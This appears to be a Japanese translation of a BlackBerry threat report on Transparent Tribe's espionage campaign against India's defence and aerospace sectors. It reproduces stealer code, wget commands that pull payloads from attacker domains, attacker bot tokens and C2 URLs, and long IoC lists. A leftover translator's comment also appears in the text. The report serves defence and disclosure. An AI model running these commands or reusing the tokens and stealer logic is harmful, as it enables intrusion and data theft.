ナビゲーションをスキップする
BlackBerry ブログ

クロスプラットフォームのプログラミング言語を利用するTransparent Tribe、インドの政府・国防・航空宇宙部門を標的に

原文のブログはこちらからご覧いただけます。

概要

BlackBerry は、アジア太平洋地域における継続的な脅威ハンティング活動の一環として、インドの政府、国防、航空宇宙部門を標的とする、パキスタンに拠点を置く持続的標的型攻撃(APT)グループ Transparent Tribe(APT36)を発見しました。この一連の活動は 2023 年後半から 2024 年 4 月まで続き、今後も続くと予想されます。

Transparent Tribe の以前のキャンペーンでは、このグループが自身のツールキットを適応させ、進化させている様子が見られました。しかしこの数か月は、 Python、Go 言語、Rust などクロスプラットフォームのプログラミング言語に大きく依存しており、さらに Telegram、Discord、Slack、Google ドライブといった人気の Web サービスを悪用しています。このグループは、以前のキャンペーンで使用したものを反映したバージョンや新しいバージョンなどさまざまな悪意のあるツールを展開していることが観察されており、これを理由としてBlackBerryでは中程度から高い確度でこの活動が Transparent Tribe によって実行されたものであると推定しています。

今回の調査を通じ、BlackBerryによる犯人の特定を裏付ける複数のアーティファクトが発見されました。たとえば、グループのインフラストラクチャから提供されたファイルでは、タイムゾーン(TZ)変数がパキスタン標準時である「Asia/Karachi」に設定されていることがわかりました。また、スピアフィッシングメールに、パキスタンを拠点とするモバイルデータネットワーク事業者に関連付けられたリモート IP アドレスが埋め込まれていることも発見しました。インドの国家安全保障に不可欠な重要部門を戦略的に標的にしていることは、さらに、このグループがパキスタンの利益に沿って活動している可能性を示唆しています。

なじみのある戦術に加えて、Transparent Tribe は新たな策を導入しています。BlackBerryは現在のキャンペーンを通じて、彼らが2023 年 10 月に初めて攻撃ベクトルに ISO イメージを導入したことを突き止めました。さらに、同グループによって、Go 言語でコンパイルされた新たな「オールインワン」のスパイ活動ツールが使用されていることも発見しました。このツールは一般的なファイル拡張子を持つファイルを発見して抜き出し、スクリーンショットの撮影、ファイルのアップロードおよびダウンロード、コマンドの実行など各種の機能を備えています。

簡潔な MITRE ATT&CK® 情報

戦術

技法

リソース開発

T1588.002

初期アクセス

T1566.001, T1566.002

実行

T1204.001, T1204.002, T1059.004, T1059.006 

永続化

T1053.003, T1547.013, T1547.001 

探索

T1082, T1217

収集

T1113

防御回避

T1027.010, T1564.001, T1140

コマンドアンドコントロール

T1071.001


武器化と技術的概要

武器

ELF および PE 形式の Python ベースのドキュメントスティーラ、難読化されたシェルスクリプト、Poseidon エージェント、Telegram RAT、Go-Stealer

攻撃ベクトル

スピアフィッシング、悪意ある ISO、ZIP アーカイブ、悪意あるリンク、ELF ダウンローダー、HTTrack Website Copier を使用した認証情報窃取

ネットワークインフラ

Web サービス:Telegram、Google ドライブ、Discord。Hostinger International Limited、Contabo GmbH、NameCheap, Inc

Mythic C2 インフラ:Kaopu Cloud HK Limited、The Constant Company、LLC、Mythic S

標的

インドの政府、航空宇宙、国防軍、防衛関連企業


技術的解析

Transparent Tribe とは

Transparent Tribe は、APT36、ProjectM、Mythic Leopard、Earth Karkaddan としても知られるサイバー諜報活動を行う脅威グループであり、パキスタンと関連があります。このグループには、インドの国防、政府、教育部門に対してサイバー諜報活動を行ってきた歴史があります。非常に洗練されているとは言えませんが、攻撃ベクトルとツールキットを積極的に適応させて検知を回避しています。

このグループは 2013 年頃から活動を続けています。以前のレポートで明らかにされた、このグループの運用上のセキュリティのミスによって、Transparent Tribe はパキスタンとの結びつきを意図せず明らかにしました。

BlackBerry が発見した今回のキャンペーンでは、Transparent Tribe は、インドの航空宇宙防衛能力の強化と向上に努めるインド国防軍の取り組みを注意深く監視してきたと推測されます。

背景

長年にわたり、インドとパキスタンはカシミール地方を巡って対立しており、そのため国境を越えた衝突が頻繫に発生していました。近年、両国間の緊張は著しく高まり、現在の外交上極めて冷え切った関係に至っています。

この緊張の高まりと、両国が現在経験している重要な政治的発展を考えれば、パキスタンを拠点とする脅威グループが戦略的優位性を得るためにインド国内の重要部門を標的にしていることは驚くに当たりません。

攻撃ベクトル

BlackBerry が調べたサンプルセットによると、Transparent Tribe は主に、悪意ある ZIP アーカイブまたはリンクを利用したフィッシングメールをペイロードの配信方法として好んで採用しています。さまざまなツールや技法の使用が確認されましたが、その一部は、2023 年 9 月に Zscaler が発表した以前のレポートと一致します。

インドは、MayaOS などLinux ベースの国産化されたオペレーティングシステムの研究開発に多大な努力を払ってきました。MayaOS は、インドの国防研究開発機構(DRDO)、先端コンピューティング開発センター(C-DAC)、および国立情報学センター(NIC)によってインド国内で開発されたもので、Windows の代替として機能します。これは、インドの国防省(MoD)による採用と、その後のインド陸軍、海軍、空軍による採用を目的とした、Linux ディストリビューションの強化版です。

その結果として、Transparent Tribe はこの期間中、Executable and Linkable Format(ELF)バイナリの配布に重点を置くことを選択しました。

図 1 :Transparent Tribe によるオペレーティングシステムの標的化

武器化

過去には、Transparent Tribe はデスクトップエントリファイルを使用して、ELF 形式で Poseidon ペイロードを配信していました。Poseidon は、Linux および macOS の x64 実行可能ファイルにコンパイルされる Go 言語エージェントです。このエージェントは、Mythic およびオープンソースのクロスプラットフォームレッドチームフレームワークでの使用を意図して設計されています。

現在、Poseidon はグループのツールキットの一部であり続けていますが、その配布のため採用された特定の攻撃ベクトルは確認されていません。

ただし、ELF バイナリにコンパイルされた Python ダウンローダースクリプトの配布は確認しています。これらの ELF バイナリの VirusTotal での検出は最小限に抑えられていましたが、それはその軽量性と Python への依存のためと考えられます。BlackBerryが最初に発見した一連のファイルにはファイル名「aldndr.py」が埋め込まれており、それ以降のバージョンではファイル名「basha.py」が埋め込まれていました。スクリプトは逆コンパイルされると、次の処理を実行します。

図 2 :逆コンパイルされたスクリプトが実行した処理

bashd、basho、bashu はすべて、カスタムビルドのファイル抽出 Linux ユーティリティである GLOBSHELL の亜種であり、bashu は Zscaler によって発見された元のバージョンによく似ています。コアスクリプトは「/media」ディレクトリを監視するよう設計されており、特に .pdf、.docx、.xlsx、.xls、.jpg、.png、.pptx、.odt などの一般的に使用される拡張子を持つファイルを標的とします。

bashd と basho のスコープはより広く、対象とするディレクトリはより広範囲に及びます。監視するのは.pdf、.ppt、.pptx、.doc、.docx、.xls、.xlsx、.ods、.jpeg、.jpg の拡張子を持つファイルであり、以下のディレクトリを確認します。

  • /home/{user}/Downloads
  • /home/{user}/Documents
  • /home/{user}/Desktop
  • /home/{user}/Pictures
  • /home/{user}/.local/share/Trash
  • /media

bashd には、以下のコードが示すように、昨日にアクセスまたは変更されなかったファイルのみを送信するための追加のチェックがあります。

try:
        for file in allfiles:
            path = Path(file)
            ts1 = date.fromtimestamp(path.stat().st_atime)
            ts2 = date.fromtimestamp(path.stat().st_mtime)
            ts3 = date.fromtimestamp(path.stat().st_ctime)
            today = date.today()
            yesterday = today - timedelta(days=1)

        if not (yesterday == ts1 or yesterday == ts2):
            if yesterday == ts3:
                pass
            list1.append(file)
    except:
        print('file not found error encountred')

* 注 上記コードの「encountred」は、元の作成者によるタイプミス

最後に、bashm が、現在のユーザーの Firefox ブラウザセッションの詳細を抜き出すために使用されるツール PYSHELLFOX によく似ていることは注目に値します。bashm は、「email.gov.in/#」、「inbox」、または「web.whatsapp.com」のURLで開いているタブを検索します。

ハッシュ(md5、sha-256)

519243e7b3bb16127cf25bf3f729f3aa,

d0a6f7ab5a3607b5ff5cc633c3b10c68db46157fcaf048971cc3e4d7bf1261c0

ITW ファイルの名前

Revised_NIC_Application

ファイルタイプ

ELF

ファイルサイズ

6810176 bytes

コンパイラ名

gcc ((Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0) [EXEC AMD64-64]

埋め込まれた Python ファイル名

Basha.py


同様のサンプルを遡って検索したところ、Transparent Tribe のインフラストラクチャから提供されている bash スクリプトのバージョンと Python ベースの Windows バイナリをいずれも複数発見しました。

第 1 段階の bash スクリプト「stg_1.sh」は、swift_script.sh、Silverlining.sh、swif_uzb.sh の 3 つのファイルをダウンロードしました。ファイル「stg_1.sh」の動作は前出のダウンローダーと非常によく似ており、複数のファイルをダウンロードして、それらが起動時に実行するように登録します。「Swift_script.sh」の興味深い点は、タイムゾーン変数の TZ をパキスタンのタイムゾーンである「Asia/Karachi」に設定していることでした。

ダウンロードされたファイル

説明

wget -P $DOC_FOLDER/swift  hxxps[:]//apsdelhicantt[.]in/BOSS2/swift_script.sh

bash 版の GLOBSHELL – ファイルは oshi[.]at に抽出されます

 

wget -P $DOC_FOLDER/ hxxps[:]//apsdelhicantt[.]in/BOSS2/Silverlining.sh

Silver インプラント

wget -P $DOC_FOLDER/swift2 hxxps[:]//apsdelhicantt[.]in /BOSS2/swift_uzb.sh

接続された USB ドライブから目的のフォルダにファイルをコピーするスクリプト – swift_script.sh にリンクされています


Windows

Python ベースの Windows ダウンローダー「afd.exe」も発見しました。これは aldndr.py や basha.py に相当しますが、Windows 実行可能ファイルにコンパイルされており、Linux 用の同種のものと同様の処理を実行します。そのコアタスクは、2 つの実行可能ファイルをダウンロードし、レジストリキーを CurrentVersion\Run に追加することでそれらが起動時に実行されるよう設定することです。

win_service.exe」と「win_hta.exe」は Windows 版の GLOBSHELL です。そのコードは、ロジックの点ではそれぞれ bashd および basho とほぼ同一で、Windows ファイルシステムのパスで動作するように編集されています。3 つすべての Windows 実行可能ファイルのコンパイルタイムスタンプに基づくと、それらはほぼ同時期に開発されたと考えられます。

ITW 名

コンパイルタイムスタンプ

afd.exe

2023-04-26 18:16:38 UTC

win_hta.exe

2023-03-08 08:30:52 UTC

win_service.exe

2023-03-08 09:12:09 UTC

 

図 3 :Windows 版 GLOBSHELL の攻撃チェーン

「オールインワン」のスパイ活動ツール

さらに BlackBerry は、Go 言語でコンパイルされた新たな「オールインワン」のスパイ活動ツールも発見しました。Transparent Tribe のドメイン clawsindia[.]in からピボットした先には、ELF ファイル「DSOP_Fund_Nomination_Form」を含む ZIP アーカイブがありました。このファイルは Go 言語で作成され、UPX で圧縮されたダウンローダーです。

実行時、ダウンローダーは 2 つのファイルを取得します。1 つ目は PDF の hxxps[:]//clawsindia[.]in/DSOP/DSOP.pdf で、被害者をおびき寄せるおとりとして機能します。2 つ目は、この攻撃チェーンの最終ペイロードである hxxps[:]//clawsindia[.]in/vmcoreinfo です。

後のペイロードはオープンソースプロジェクト Discord-C2 の改変版で、Go 言語で作成され、UPX で圧縮されています。そのコードは、GLOBSHELL や PYSHELLFOX と同様のロジックと、図 4 で説明している他の各種機能を含むように変更されていました。

図 4 :DSOP_Fund_Nomination_Form の攻撃チェーンとコア機能

ISO イメージ

さらに調査を進めると、ドメイン「www[.]twff247[.]cloud/」がある ISO イメージをホストしていることがわかりました。この ISO イメージ内にバンドルされているショートカットファイルから抽出されたメタデータは、これが、グループが攻撃ベクトルとして ISO イメージを配信した最初の試みであったことを示していました。LocalBasePath は HTML スマグリングを参照していますが、脅威グループがこの技法を実際に実装したことを示唆する証拠はありませんでした。

図 5 :ExifTool ファイルのメタデータ

バンドルされているファイルの名前

タイプ

AGS BRANCH/AGS BRANCH.EXE

Win32 EXE

AGS BRANCH/AGS BRANCH.DOC.LNK

Windows ショートカット

AGS BRANCH/AGS BRANCH.PDF

PDF

AGS BRANCH/AGS BRANCH.BAT

BATCH ファイル


ショートカットファイルのメタデータから抽出されたマシン ID「desktop-rp8bjk8」をピボットすると、「AG_Branch.iso」の 6 日前に作成された 2 つ目の ISO イメージ「Pay statement.iso」へと辿り着きました。2 つ目のショートカットファイルの LocalBasePath は「E:\\PC Files\\1st delivery underdevelopment\\iso\\Nodal Officer for SPARSH (PBORs)  Record officewise\\Nodal Officer for SPARSH (PBORs)  Record officewise.bat」でした。

バンドルされているファイルの名前

タイプ

NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE/NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE.EXE

Win32 EXE

NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE/NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE.BAT - SHORTCUT.LNK

Windows ショートカット

NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE/NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE.PDF

PDF

NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE/NODAL OFFICER FOR SPARSH (PBORS) RECORD OFFICEWISE.BAT

BATCH ファイル


どちらの ISO も同じツール、つまり Nutika [YM1] で Windows 実行可能ファイルにコンパイルされた Python ベースの Telegram ボットを配信していました。また、Telegram リモートアクセスツール(RAT)が、ISO イメージではなく WinRAR アーカイブを介して配信されていることも確認しました。

両方の ISO にバンドルされている PDF ルアーはインド国防軍を標的としています。1 つは、年金管理制度(RAKSHA)(SPARSH)のノードオフィサーの任命に関連しており、年金管理に関する業務とサポートを促進します。もう 1 つは、陸軍関係者向けの AG 支部の教育ローン申請です。

ITW 名

SHA256

Telegram ボットのトークン

Update_service.exe

aaa3c7be74fd9d68b11dfffae884c0f54ec614967df7f4f1366796a35081dcb1

bot6130630756:AAHdlLVVyWMY-9II6uTtuQn07
NdPsSauAo

Service.exe

51d8e84d93c58a3e6dadbd27711328af797ac1d96dfad934d8b8a76252695206

bot6549212762:AAHa5YMI6EmKK0s8iL29a0M
08QtWRm004No


全容解明への第一歩

このグループが、コマンドアンドコントロール(C2)やデータ抽出を行うために、クロスプラットフォームのプログラミング言語、オープンソースの攻撃ツール、さまざまな Web サービスを好んで使用していることは明らかです。

2024 年初頭、インド国内の組織を標的とした、未分類の脅威アクターによる悪意ある ISO イメージの展開について詳述したレポートブログ発表されました。これらの欺瞞的な ISO ファイルは、テーマと命名規則を含め、その攻撃の標的がインド空軍(IAF)またはその関連組織であることを強く示唆しています。

 [YM1]スペルミスの可能性があります。この箇所原文もこの通り「Nutika」なのですが、リンク先を開くとコンパイラの名前は「Nuitka」です。

ご確認ください。

https://github.com/Nuitka/Nuitka

図 6 :ISO イメージを使用し、インド国内の組織を標的とした正体不明の攻撃

これらの ISO ファイルとそれにバンドルされているペイロードには、Transparent Tribe 攻撃チェーンの特徴がありました。グループが「swift_script.sh」でデータ抽出に使用していたファイル共有プラットフォーム oshi[.]at が、ここではファイル「SU-30_Aircraft_Procurement.zip」のホストに使用されていました。これらの ISO イメージ内にバンドルされているペイロードは、改変されたオープンソースの攻撃ツール(データ抽出を目的としてSlack を侵害する、Go 言語でコンパイルされたインフォスティーラ)で、Discord ペイロードや攻撃チェーンの他のコンポーネントに見られる特徴を反映しています。

注目すべきは、この頃、インド政府が国防調達評議会(DAC)とともにインド空軍の能力を強化するための重要な措置を講じたことです。これには、アジア最大級の航空宇宙・防衛メーカーに対する 97 機の最新鋭テジャス戦闘機の調達入札の発行と、Su-30 戦闘機部隊のアップグレードの承認が含まれていました。

インド空軍部隊の刷新と拡大に焦点を当てたこの共同の取り組みは、国家安全保障と防衛インフラの強化における航空宇宙メーカーの極めて重要な役割を浮き彫りにする一方、不幸にもスパイ活動の主な標的としてい流のです。

ネットワークインフラ

Transparent Tribe はさまざまなツールの使用が知られており、ツールごとに異なるネットワークインフラを利用していることが確認されています。Python ベースのスパイ活動ツールでは、さまざまな機能に向けた多数のドメインが立ち上げられました。

ドメイン名

機能

サンプルのハッシュ

自律システム番号(ASN)

Files[.]tpt123[.]com

悪意あるファイル bssd、bsso、bssu、bssm の提供 – aldndr.py が使用

44c8d8590197cf47adfd59571a64cd8ccce69ca71e2033abb2f7cf5323e59b85

AS47583 Hostinger International Limited

Tpt123[.]com

盗んだドキュメント、被害者のメタデータ、Mozilla Firefox データの抽出場所

44c8d8590197cf47adfd59571a64cd8ccce69ca71e2033abb2f7cf5323e59b85

AS47583 Hostinger International Limited

infosec2[.]in

悪意あるファイル bashd、basho、bashu、bashm の提供 – basha.py が使用

d0a6f7ab5a3607b5ff5cc633c3b10c68db46157fcaf048971cc3e4d7bf1261c0

AS16509

Amazon Data Services India

Certdehli[.]in

盗んだドキュメント、被害者のメタデータ、Mozilla Firefox データの抽出場所

68afcfa22ff797817651a8c66cdcd5fafbd8ed0b5c365706edd428855a08098e

AS22612 Namecheap, Inc.

twff247[.]cloud

悪意あるファイル win_service.exe および win_hta.exe の提供

a82562e1dc42b13df9390a2fb7361e9e17072a159e0b5ef7be027cf5b46bd05f

AS47583 Hostinger International Limited

winp247[.]cloud

盗んだドキュメントおよび被害者のメタデータの抽出場所

c0466a6028120e0644145a60dea89ed27673f7a87fdfb5a24d489ff21d5df6e0

AS47583 Hostinger International Limited

Zedcinema[.]com

盗んだドキュメントおよび被害者のメタデータの抽出場所

9ec5979fc7cbafb3f3fcd3b22fd8e651e5c6ee0d734aefc9ed69c58042e2d7d6

AS51167 Contabo GmbH

Tensupports[.]com

盗んだドキュメントおよび被害者のメタデータの抽出場所

fbb65a675deb4d1779ef526b39700122dbc98a554ea19551c4c157f4b7e04a47

AS51167 Contabo GmbH

Baseuploads[.]com

盗んだドキュメントおよび被害者のメタデータの抽出場所

1711f1ca94d4ae7586b22b6fedd5d86418ea6d35eebe09be8940868212cce7a0

AS47846 SEDO GmbH

Apsdelhicantt[.]in

悪意あるファイル swift_script.sh、Silverlining.sh、swift_uzb.sh の提供

9709b0876c2a291cb57aa0646f9179d29d89abb2f8868663147ab0ca4e6c501b

AS51852 Private Layer INC

 

Esttsec[.]in

盗んだドキュメントおよび被害者のメタデータの抽出場所

1e657d3047f3534dcd4539ce54db9f5901f7e53999bae340a850cc8d2aacc33c

AS47583 Hostinger International Limited


上記のドメインをピボットオフすると、以下のドメインが発見されました。これらは Transparent Tribe のインフラの一部であると高い確度で見ています。

  • warfarestudies[.]in
  • coordoffice[.]in
  • eoffice-sparrow[.]online
  • secy-org[.]in
  • publicinfo[.]in
  • admincoord[.]in
  • clawsindia[.]in
  • emailnic-tech[.]email
  • estbsec[.]in - 正規ドメインのログインページ parichay.nic.in/pnv1/assets/login.html をミラーリングするフィッシングドメイン
  • esttsec[.]in – 89[.]117[.]188[.]126 - 正規のエンタープライズサイバーセキュリティソリューションプロバイダーである Seqrite によるレポートへのリンク
  • coordsec2[.]in
  • awesindia[.]online

16 か月にわたり、このグループはインドの多数の正規ドメインに酷似した複数のドメインを立ち上げ、そのほとんどが「.in」のトップレベルドメイン(TLD)を特徴としていました。これらのドメインの一部は、より広範なキャンペーン内でホスト、配信、および流出ポイントとして運用するために積極的に使用されていることが観察されていますが、他のドメインの使用は確認されていません。このグループは、本レポートの発行時点までの間も活発なドメインの立ち上げを続けています。

図 7 :ドメイン作成のタイムライン

Web サービスの C2

Web サービス

機能

IoC

C2

Telegram

コマンドアンドコントロール

51d8e84d93c58a3e6dadbd27711328af797ac1d96dfad934d8b8a76252695206

hxxps://api[.]telegram[.]org/bot6549212762:A
AHa5YMI6EmKK0s8iL29a0M08QtWRm004N
o/

Telegram

コマンドアンドコントロール

aaa3c7be74fd9d68b11dfffae884c0f54ec614967df7f4f1366796a35081dcb1

hxxps://api[.]telegram[.]org/ bot6130630756:A
AHdlLVVyWMY-N9II6uTtuQn07NdPsSauAo/

Google ドライブ

PDF ルアーの配信

Malicious account owner (attacker) - Bhatti Shakeel bhattishakeel9999[at]gmail.com

hxxps://drive[.]google[.]com/file/d/1VqHfF59w
F8I7I7v63U5-Vqr6oM19sTbx/view?usp=
sharing

Google ドライブ

PDF ルアーの配信

Malicious account owner (attacker) - Bhatti Shakeel bhattishakeel9999[at]gmail.com

hxxps://drive[.]google[.]com/file/d/18n37cWm
FrmNL4GL7UIlCJPAGq1Roj8n5/view?usp=
sharing

Google ドライブ

PDF ルアーの配信

Malicious account owner (attacker) - Bhatti Shakeel bhattishakeel9999[at]gmail.com

hxxps://drive[.]google[.]com /file/d/1I4FYl5hA
ZFr7EpKrZWxb9r-HPWM3pwN0/view?usp=
sharing

Discord

コマンドアンドコントロール

d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529

hxxps://discord[.]com/api/v9/channels/11850
89754891571300

Guild 1172245798034079805

‘Bot MTE3MjI0NDI5NzQ3MTQ5NjIyMg.Gvi8oo.pQQ
R5W2bHjluCJqdheDOUTaKKlNrGN9S1WrKnE’


標的

この時期の Transparent Tribe の標的設定は非常に戦略的であり、その主眼をインド国防軍と国営の防衛関連企業に置いていました。歴史的に、このグループは主にインド軍に対する情報収集活動に従事してきました。

2023 年 9 月、BlackBerry は、国防省生産局(DDP)の多数の主要な利害関係者と顧客、特に航空宇宙部門の関係者を標的にしたスピアフィッシングメールを確認しました。

このスピアフィッシングメールは、アジア最大級の航空宇宙・防衛企業1社に直接送信されていました。また、インド国営の航空宇宙・防衛エレクトロニクス企業や、さらにはアジア第 2 位の土木設備メーカーにも送信されており、後者は地上支援車両を供給することで同国の統合誘導ミサイル開発プロジェクトの重要な役割を担っています。CC には DDP 内の主要な人物が指定されていました。

注目すべきは、標的となった 3 社すべてがインドのバンガロールに本社を置いているということです。

図 8 :標的となった 1 社に送信されたスピアフィッシングメールのヘッダー

犯人の特定

BlackBerry の脅威リサーチ&インテリジェンスチームの評価によれば、中程度から高い確度で、このレポートで詳述している活動は Transparent Tribe によって実行されたものであると見られます。今回の調査を通じて、犯人の特定を裏付ける複数のアーティファクトを発見しました。

まず、さまざまなツール、戦術、技法、ネットワークインフラストラクチャにわたるコードの再利用など、以前の Transparent Tribe キャンペーンとの重複が顕著に観察されました。

このグループはその起源を隠そうとしていますが、調査中に発見されたいくつかの指標は、脅威グループがパキスタンに居住しているか、パキスタンで活動している可能性があることを示しています。

たとえば、スクリプトの 1 つに対する分析に際して、脅威アクターがタイムゾーン環境変数の TZ をパキスタン標準時の「Asia/Karachi」に設定していることが明らかになりました。さらに、10 月初旬に初めて確認され、この攻撃ベクトルの初期テストを意図したと思われる ISO イメージ「Pay statement.iso」は、パキスタンのムルターンから送信されたものでした。最後に、スピアフィッシングメールに埋め込まれたリモート IP アドレス(223[.]123.17[.]36)が、パキスタンを拠点とし、チャイナモバイルが所有するモバイルデータネットワーク事業者の CMPak Limited に関連付けられていることを発見しました(CMPak Limited - ASN AS59257)。本レポートの最後に、侵害の痕跡(IoC)の包括的なリストを含めています。

インドの国防省生産局内の主要組織と国防軍を戦略的に標的にしていることは、この脅威グループがパキスタンの利益と同調する可能性を示唆しています。

まとめ

今回の調査は、Transparent Tribe がインドの国家安全保障に不可欠な重要部門を執拗に標的にしていることを明らかにしました。

この脅威アクターは、戦術、技法、手順(TTP)のコアセットを継続して利用し、時間をかけて適応させてきました。ここ数か月のグループの進化は主に、クロスプラットフォームのプログラミング言語、オープンソースの攻撃ツール、攻撃ベクトル、および Web サービスの利用を中心に展開されています。

これらの行動はインドとパキスタンの間の地政学的緊張の高まりと一致しており、Transparent Tribe の活動の背後にある戦略的動機を示唆しています。この活動は今後も続くことが予想されます。

付録 1 - IoC(侵入の痕跡)

ハッシュ:


ファイル名:


武器の種類:

d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529

/root/.x86_64-linux-gnu/vmcoreinfo

Discord-C2 スパイ活動ツール

ローカルファイルパス:

/home/hackerex/Desktop/discord-c2/test/main/payload.go

ネットワークインジケータ:

hxxps://discord[.]com/api/v9/channels/1185089754891571300
Guild 1172245798034079805
‘Bot MTE3MjI0NDI5NzQ3MTQ5NjIyMg.Gvi8oo.pQQR5W2bHjluCJqdheDOUTaKKlNrGN9S1WrKnE’

     
     

SHA256

名前

武器の種類

887705a01d3690c59905fa7bf325680186647034d246067f88a0053595ac081f

work.docm

悪意あるドキュメント

a82562e1dc42b13df9390a2fb7361e9e17072a159e0b5ef7be027cf5b46bd05f

afd.exe

Python ダウンローダー

4f7036b1eba034dde6f1f403acb56b0fad3e5a2ae9a39a20d12a0979875d33b3

win_hta.zip

ZIP アーカイブ

cf12cc1f4951637b51f9587f70fc0154773f42ac8b2d835c454d76bc5a46b206

win_service.zip

ZIP アーカイブ

9c1350b332999a13e00c3ec06f850adaacfd6a4a986a980b1a6179cb5e140963

win_service.exe

Windows 版の GLOBSHELL

c0466a6028120e0644145a60dea89ed27673f7a87fdfb5a24d489ff21d5df6e0

win_hta.exe

Windows 版の GLOBSHELL

78480e7c9273a66498d0514ca4e959a2c002f8f5578c8ec9153bb83cbcc2b206

cinnamon-gui

Poseidon エージェント – Mythic

9709b0876c2a291cb57aa0646f9179d29d89abb2f8868663147ab0ca4e6c501b

stg_1.sh

難読化されたシェルスクリプト
ダウンローダー

99bd4285e38413c3a961d70cfa6c8b5f8e4ae3b4c559af1d9f213e34d3b56976

Silverlining.sh

Silver インプラント

1e657d3047f3534dcd4539ce54db9f5901f7e53999bae340a850cc8d2aacc33c

swift_script.sh

難読化されたシェルスクリプト版の GLOBSHELL
*Glob の代わりに Find コマンドを利用

050b5e3b2e712254afee94fb2a459947c76e405ca735f839c9cc7d3f6bf124e9

swift_uzb.sh

難読化されたシェルスクリプト USB ファイル収集ツール

dc224a4c3fe22f51329003f34f6c82264d35bd57553292f4d131f2b168e90a93

Silverlining.sh

Silver インプラント

f6c5c6a5356e9e24dec0bc5e19b5182185283339aee313f1fc8988ec0e3c0e22

boss_preempt

Poseidon エージェント – Mythic

5975d9a448e090ea31adc2018442740c66e5c1adf9206b830e4514ffc130fb15

bossload

Poseidon エージェント – Mythic

0dce569bd77fcf83bf6a2cd4da5165bca374347e5fb5f7f532c8d281c8382c3e

boss-gnu

Poseidon エージェント – Mythic

0f0e7039700e1003ecd803616a28e563f885849d17508c7bfe958a2220b566d0

gnu-journal

Poseidon エージェント – Mythic

dca41db6ec1c41fd6b529756aeb485d61962d0485791cca84d27a03a14ab1be1

k_swap

Poseidon エージェント – Mythic

260652503af6002cfd990b3220fe3c398ccab8760e10e2e2565e5205d0dc02ea

z_swap

Poseidon エージェント – Mythic

8878675e78fddfd8ae7ce556001d4c1ba858f8fa3a70be96887f7ad465473496

gnu-events

Poseidon エージェント – Mythic

986599fc4036b6af084a07f348f0cbdf67ce9e6f921f1646ebcca0ddaeb0eef4

nm_applet

GLOBSHELL

e227e2c4a95d4a5aeb20ee6ae2412691bf20add556de69b8d915aa2ed70226c8

opentab

PYSHELLFOX(一部)

7158dafa56c694de8ae4a1969cc8575ddc4374bb179f58769a23ccb70186d072

ziputils-help

Poseidon エージェント – Mythic

c5b36889f41efd8afcb795094fd8e653fb0409e9f8393263519329d1f79704fe

sample all ELF.rar

多数の悪意あるサンプルを含む ZIP アーカイブ

91a1e60d1bfc4a4466b50b1c56736e7cd3c66ec80d52aa9a4adf5f8a3bbe29b7

bossconfig

Poseidon エージェント – Mythic

facf4ac6c1fa7910e5cae745e1464e9ab20f8b824c257ddb1389e2a33bce898f

bosscache

Poseidon エージェント – Mythic

2dd9dfd6a3e07d8328066b754f0cd5ce16529b4e0782d2a9257faf68abab92b9

clamav_base

Poseidon エージェント – Mythic

5465015abd3dcbaac1fa56666d09df15a35402d0aa5a5d3988b681c88101d826

notification-update

Poseidon エージェント – Mythic

60fbf6840c45017681761b908ded2d3eff5c31a22161cee8f0df20080d483717

n/a

Poseidon エージェント – Mythic

8fd1b61b89d411b5c7962012931c03d62cd54421b687590428884acfbdc675ba

Minutes_Quarterly_Review_Meeting.zip

ZIP アーカイブ

544f7462dc0d61491b7502df6836692dff680a6a562ba2d8b81c127c355be840

Minutes Quarterly Review Meeting

ダウンローダー(Aldndr.py)

08f277125e581b07ba79b7bc4d80790643f6009dbe1b6119900ccce42b66fd17

AGs_BRANCH.iso

ISO イメージ

6e72d77ace615031665dcab518cede60b030bd97d367234ac2f4627be8510349

AGS BRANCH.PDF

PDF ルアー

94eb37b28148a8c18e2089031d3409f3dda3a686e9977546727625383b5481a3

AGS BRANCH.DOC.LNK

ショートカット LNK ファイル

51d8e84d93c58a3e6dadbd27711328af797ac1d96dfad934d8b8a76252695206

service.exe

Python ベース Telegram RAT(Nutika コンパイル)

bda9c9003993a8466b6acc5b98ac6272699ce3609f209aee295b7cd80354eb48

your pics album.pdf.exe

ドロッパー

aaa3c7be74fd9d68b11dfffae884c0f54ec614967df7f4f1366796a35081dcb1

update_service.exe

Python ベース Telegram RAT(Nutika コンパイル)

dde37094a8c0f781f978cf5c30b97825f7dd04cf9485f917ee66fe8ae7dab18a

Pay statement.iso

ISO イメージ

935c75d110285f37690779290a1f25c6d689b30952df3f89a7fe506e58664184

NODAL OFFICER FOR SPARSH (PBORS)  RECORD OFFICEWISE.BAT - SHORTCUT.LNK

ショートカット LNK ファイル

4ee950ffaa4acd3c170b010f66cdbd60dfa7f8e2ddf846e886669586b29e0476

All details.html

HTML – ダウンロードスクリプト

1544649fca4a93f1fd8427ae175878209301b2c1ba2555bfd206812e19705f42

NODAL OFFICER FOR SPARSH (PBORS)  RECORD OFFICEWISE.PDF

PDF ルアー

c1b727d7f5112f5ca9a1a194d41b392dfc16f05fc6b820d2df52541497e95aa1

NODAL OFFICER FOR SPARSH (PBORS)  RECORD OFFICEWISE.BAT

BATCH ファイル

15ad46f8810f7e22d13e8768f88cab1a2eaa1b98693d0ab04253e4fd31ffc9b4

Minutes_of_meeting.zip

ZIP アーカイブ

eaa15b61db3eb08c6a12b1bf912b36e02a216f2a0462670bc0420c351266ac78

Minutes of meeting of Secy(DP with chairman OFB and CMDs of DPSUs

ダウンローダー(Aldndr.py)

7b32225ac9914523a25b446c4fcbb1d526c4d258ff381283c807e7025819fa5c

13th september.zip

Brief_on_UAE.zip

ZIP アーカイブ

b427c8dc30ae93e27bd497cab40c12b86c15ad0a1df6b30d147a2851f377033a

Fwd Concept paper for enhancing Defense export.zip

ZIP アーカイブ

e43a4b0e63c36039b599b60913599ec146d20eeccfe0714c437943dcb67d476f

Concept_paper.zip

ZIP アーカイブ

7bec5922cc4bc324d9efd1a3a638f05472cb39637f0bf18b97ccdac3793f281a

MoD.zip

ZIP アーカイブ

0ce544e7a5bfbd7128a8c3cd0a82802d1b7829530f15e02883ef3dd7c38d97a2

